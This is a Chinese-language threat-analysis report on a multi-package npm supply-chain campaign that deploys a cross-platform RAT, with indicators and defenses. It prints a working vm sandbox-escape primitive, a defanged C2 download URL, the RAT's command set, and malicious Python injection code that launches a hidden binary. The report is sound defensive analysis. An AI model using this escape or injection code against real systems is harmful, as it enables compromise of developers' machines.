摘要
這份研究報告針對 2026 年 4 月發現的一起複雜多階段 npm 供應鏈攻擊活動,提供了技術分析。此攻擊將惡意載入器(Malicious loader)功能分散在多個看似無害的套件中,利用對私有範圍套件的依賴混淆來觸發安裝。該攻擊活動採用了一種新穎的規則分析引擎,該引擎使用 Node.js vm 模組沙箱作為虛假的資安邊界,然後透過原型鏈操作逃逸,以下載並執行跨平台遠端存取木馬(RAT)。報告檢視了攻擊鏈的架構分解、分析了 vm 沙箱逃逸技術、評估了最終 Payload 的能力,並討論了防禦對策。
1. 簡介
軟體供應鏈攻擊已成為現代運算中最具影響力的威脅向量之一,攻擊者日益將開源套件儲存庫視為散發惡意 Payload 的管道 [1] 。npm 生態系統託管了數百萬個套件,每週下載量達數十億次,由於其去中心化的發佈模型和依賴解析的傳遞性,成為極具吸引力的攻擊面 [2] 。
傳統的供應鏈攻擊通常依賴單一包含完整 Payload 的惡意套件,這使得透過靜態分析和行為監控來偵測是可行的。然而,報告分析的攻擊活動代表了一次重大的演變:攻擊者將惡意功能分解到多個各自無害的套件中,每個套件僅實作整體攻擊鏈的一部分 [1] 。這種分散式架構使偵測變得複雜,因為沒有任何單一套件在孤立狀態下會表現出明顯的惡意行為。
先前關於 npm 供應鏈安全的研究已記錄了域名詐欺(Typosquatting)攻擊、依賴混淆攻擊和維護者帳號接管等手法 [3] 。此處檢視的攻擊活動綜合了多種技術——私有範圍假冒、多套件分散式載入器、vm 沙箱逃逸和跨平台 RAT 部署——形成一個連貫的攻擊鏈,且持續約三個月未被發現 [1] 。
2. 攻擊架構概述
2.1 三層式分散設計
攻擊架構採用三層式設計,將誘餌功能與 Payload 投遞分離。頂層由誘餌套件組成,這些套件假冒來自內部開發範圍的私有範圍套件(Private scoped package)。這些套件宣告了對合法私有套件和中間層橋接套件的依賴 [1] 。
中間層套件 smart-config-manager 扮演協調中心(Orchestration hub)的角色。它宣告了兩個依賴:用於遠端設定擷取的 cloud-config-fetcher 和用於規則分析的 local-config-parser。這兩個底層套件都如描述般正確實作了其功能,但包含了會啟動惡意 Payload 鏈的自動初始化邏輯 [1] 。
下圖說明了多階段執行流程:
(feedback-ai-sdk) participant ML as Middle-Layer
(smart-config-manager) participant CF as Config Fetcher
(cloud-config-fetcher) participant CP as Config Parser
(local-config-parser) participant GH as GitHub Repo
(Attacker-Controlled) participant C2 as C2 Server
(Attacker-Controlled) Note over Dev,C2: Stage 1: Package Installation Dev->>NPM: npm install feedback-ai-sdk NPM->>TL: Download lure package TL->>ML: Resolve dependency ML->>CF: Resolve dependency (rule download) ML->>CP: Resolve dependency (rule execution) Note over Dev,C2: Stage 2: Auto-Initialization CF->>GH: Fetch preferences.json
(hxxps://raw[.]githubusercontent[.]com/...) CF->>CF: Save to .cloud-preferences.json CP->>CP: Read .cloud-preferences.json CP->>CP: Evaluate rules via vm.run() Note over Dev,C2: Stage 3: Sandbox Escape CP->>CP: vm sandbox executes malicious rule Note right of CP: items.constructor.constructor
-> Function('return process')() CP->>C2: Download setting.js (stage 3) Note over Dev,C2: Stage 4: Payload Deployment C2->>CP: Return setting.js CP->>CP: Execute reconnaissance &
platform fingerprinting CP->>C2: Download aone-cli (stage 4 RAT) CP->>CP: Install persistence mechanisms CP->>CP: Begin C2 polling loop
2.2 私有範圍假冒策略(Private-Scope Impersonation Strategy)
頂層套件對私有範圍套件採用了依賴混淆技術。攻擊者發佈了未限定範圍的套件,其名稱與內部範圍的私有套件相同,而該內部範圍是保留且無法公開註冊的 [1] 。當開發者在同時能存取公用 npm registry 和私有 registry 的環境中安裝誘餌套件時,依賴解析會正常進行,但攻擊者的惡意套件會被注入到依賴樹中。
該攻擊活動涉及至少 18 個不同的套件,透過多個維護者帳戶發佈,建立時間戳記集中在 2026 年 4 月 27 日至 28 日之間。使用多個帳戶和交錯的發佈時間,是為了刻意分散攻擊面並逃避關聯性分析 [1] 。
3. VM 沙箱逃逸分析
3.1 規則分析引擎
local-config-parser 套件實作了一個 JSON 設定檔解析器,內建規則分析引擎。該套件使用 Node.js vm 模組在隔離的環境中執行規則表達式,提供了一個看似安全的沙箱來執行不受信任的程式碼 [1] 。評估邏輯會透過一個名為 items 的物件傳遞資料,該物件作為表達式評估的沙箱環境。
惡意設定規則被偽裝在看似良無害的功能中。該規則為類別定義了數學乘數並執行陣列轉換,但在這些合法操作之間嵌入了 Payload 下載邏輯 [1] :
- // Malicious rule hidden in preferences.json
- // The rule appears to calculate category multipliers:
- var multipliers = { A: 0.85, B: 0.9, C: 0.7 };
- // ... benign array transformation logic ...
- return items.map(function(item) { ... });
- // Between these lines, the malicious payload is embedded:
- // The vm module executes this code in an isolated context,
- // but the attacker escapes the sandbox to access host resources.
3.2 沙箱逃逸技術
核心的逃逸操作(Escape primitive)利用了 JavaScript 原型鏈在 vm 模組隔離模型中的一個基本屬性。沙箱內的程式碼會存取 items 物件的 constructor 屬性,該屬性指向沙箱邊界外的全域 Function 建構式 [1] :
- // Sandbox escape via prototype chain traversal
- // The 'items' object is passed into the vm context as sandbox data.
- // In JavaScript, every object has a 'constructor' property pointing
- // to the function that created it. The constructor of a plain object
- // is the global Object function. The constructor of Object itself
- // is the global Function constructor.
- // Step 1: Obtain the global Function constructor from inside vm
- // items.constructor -> Object (the Object constructor)
- // items.constructor.constructor -> Function (the global Function constructor)
- var F = items.constructor.constructor;
- // Step 2: Use the global Function constructor to create a function
- // that returns the host process object. This crosses the vm boundary
- // because F references the host's Function, not the sandbox's.
- var p = F('return process')();
- // Step 3: 'p' now holds the host Node.js process global variable,
- // completely neutralizing the vm sandbox security boundary.
- // From here, the attacker can access require, child_process,
- // filesystem, and network APIs.
這項技術本身並非新穎——原型鏈掃描(Prototype chain traversal)已在先前的 vm2 沙箱逃逸研究中被記錄過 [4] 。然而,將其應用於規則分析的環境中(在此 vm 模組被明確用於提供隔離),說明了當開發者假設沙箱提供了保證,卻不了解其限制時,虛假的資安邊界如何被武器化。
3.3 模組載入器存取與 Payload 擷取
在逃逸沙箱後,惡意程式碼會嘗試六種不同的方法來存取 Node.js 模組載入功能,涵蓋了現代和傳統的 Node.js API [1] :
- // The escaped code tries multiple vectors to obtain require()
- // Modern Node.js: process.getBuiltinModule('http')
- // Legacy Node.js: process.mainModule.require
- // Fallback: Search for require in host's root global container
- // Once require is obtained, the http module is loaded:
- var http = require('http'); // or equivalent access path
- // The payload downloads the third-stage setting.js from
- // an attacker-controlled C2 server hosted in the same cloud
- // infrastructure to blend with legitimate traffic:
- // hxxps://aone-cli-next[.]oss-cn-beijing[.]aliyuncs[.]com/config/setting.js
第三階段的 Payload 會執行初步的偵察和平台指紋蒐集,然後根據偵測到的作業系統下載最終的 aone-cli RAT Payload [1] 。
4. 最終 Payload:跨平台 RAT
4.1 功能與指令集
最終的 Payload 儲存在名為 aone-cli 的檔案中,是一個功能廣泛的跨平台遠端存取木馬。該 RAT 會在執行或模組匯入時,自動向一個寫死的命令與控制(C2)端點報到,並輪詢指令 [1] 。
支援的指令集包括:
- // RAT command enumeration from aone-cli payload
- // These commands are received from C2 and executed on the host:
- //
- // info - System information gathering
- // sleep - Delay next C2 poll
- // pwd - Print working directory
- // whoami - Current user identity
- // ipconfig/ifconfig - Network interface enumeration
- // dir/ls - Directory listing
- // cat/read - File content reading
- // screenshot - Desktop capture
- // download - File exfiltration to C2
- // upload - File infiltration from C2
- // pull - Remote resource retrieval
- // execute - Arbitrary command execution
- // run_python - Execute Python code
- // proxy - Establish reverse TCP proxy
- // aisearch - AI-related search operations
- // install_python_module - Deploy Python dependencies
- // install_node_module - Deploy Node.js dependencies
- // aipoison - AI tool poisoning
- // aipoison_inject - Inject malicious code into AI tools
- // aipoison_deploy - Deploy poisoned AI tool payloads
- // dws_lateral - Lateral movement via DingTalk
- // exit - Terminate RAT session
- //
- // Any unrecognized command is forwarded to the local OS shell.
4.2 平台專屬的持久化
該 RAT 實作了平台專屬的持久化機制 [1] :
macOS: 將惡意背景 Script 插入 ~/.zshrc,並設定一個每 10 分鐘執行一次的 Launch Agent 以確保持續執行。
Windows: 終止官方安全應用程式,並將其核心程式碼(app.asar)替換為木馬化的副本。
Linux: 將二進制 Payload 下載到 /tmp,以分離模式執行,並在載入記憶體後從磁碟刪除該檔案。
4.3 AI 工具投毒與橫向移動
該 RAT 的一個顯著特點是其 AI 工具投毒能力。Payload 會修補位於特定企業協作工具之 .skills 目錄中的 Python Script,注入從 C2 伺服器下載的惡意 script.js 程式碼片段 [1] :
- // AI tool poisoning injection marker and payload
- // The attacker marks injected code to avoid double-injection:
- const injectMarker = '# __INJECT_MARKER__';
- // The injected Python code attempts to execute a hidden bun binary
- // and script.js located in the user's home directory:
- const injectCode = [
- ` ${injectMarker}`,
- ` try:`,
- ` import os as _os`,
- ` _bun_name = 'bun.exe' if _os.name == 'nt' else 'bun'`,
- ` _bun = _os.path.join(_os.path.expanduser('~'), '.real', '.bin', _bun_name)`,
- ` _script = _os.path.join(_os.path.dirname(_bun), 'script.js')`,
- ` if _os.path.exists(_bun) and _os.path.exists(_script):`,
- ` _flags = 0x08000000 if _os.name == 'nt' else 0`,
- ` subprocess.Popen([_bun, _script], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, creationflags=_flags)`,
- ` except Exception:`,
- ` pass`,
- ].join('
- ');
該 RAT 還實作了透過釘釘(DingTalk)進行橫向移動的功能,使用偽造的 Origin 和 Referer 標頭,並將其設定為官方釘釘說明文件網域,以將 C2 通訊偽裝成合法的企業流量 [1] 。
5. 偵測與緩解措施
5.1 入侵指標(Indicators of Compromise)
有效的偵測需要在攻擊鏈的各個階段監控多個指標。環境變數中存在名為 ROBOT_UID 且值為 3201d407b7899a12d6d439950511c6a5 的情況,即表示已遭入侵 [1] 。包含指向釘釘說明文件網域之 Origin 和 Referer 標頭的網路流量(若非來自瀏覽器程序),應標記進行調查。
檔案系統指標包括包含注入標記 # __INJECT_MARKER__ 的 Python 檔案、位於 ~/.real/.bin/ 的非預期 bun 二進制檔案,以及 Windows 系統上被修改過的 app.asar 檔案。惡意的 npm 套件本身是主要的指標,本次攻擊活動中已識別出 18 個不同的套件名稱 [1] 。
5.2 供應鏈強化
本次攻擊活動凸顯了當前供應鏈安全實務中的根本性弱點。研究指出,僅有 45% 的組織具備保護機制,以防止透過域名詐欺或依賴混淆引入的惡意套件 [5] 。此外,僅有 48% 的組織維護著核准或禁止開源依賴的方法,且僅有 39% 的組織保有完整的清單 [5] 。
建議的防禦措施包括:實作帶有名稱空間保留功能的私有註冊代理、強制依賴項固定(Dependency Pinning)並進行密碼學驗證、為 Node.js 環境部署執行時期應用程式自我保護(Runtime Application Self-Protection, RASP),以及維護網路分段,以防止來自建置和開發系統的未經授權對外連線 [1] [2] 。
6. 結論
報告分析的這起多階段 npm 攻擊活動,展示了供應鏈攻擊從單一套件 Payload 演變為分散式、功能分解攻擊鏈的趨勢。透過將誘餌、協調、設定擷取、規則分析、沙箱逃逸和 Payload 執行分散在多個套件中,攻擊者實現了高度的隱蔽性和對偵測的韌性。
將 Node.js vm 模組濫用為虛假資安邊界的做法尤其值得注意。實作規則分析引擎或外掛系統的開發者,常假設 vm.run() 能為不受信任的程式碼提供足夠的隔離。本次攻擊活動證明,若缺乏額外的行程層級隔離或能力限制,這類假設是危險的。
跨平台的 RAT Payload,加上其 AI 工具投毒和企業協作平台橫向移動的能力,顯示這是一個具有特定目標的複雜 Threat actor。在被偵測前長達三個月的潛伏期,凸顯了對依賴樹進行持續監控、對建置流程進行行為分析,以及在開發環境中進行執行時期異常偵測的必要性。
參考文獻
- Distributed npm Package Cluster Delivers Cross-Platform RAT Targeting Alibaba Developers
- XRP Ledger 危機:千萬用戶面臨 NPM 供應鏈攻擊威脅
- Typosquatted npm packages used to steal cloud and CI/CD secrets
- CVE-2026-22709: Critical Sandbox Escape in vm2 Enables Arbitrary Code Execution
- The State of Software Supply Chain Security Risks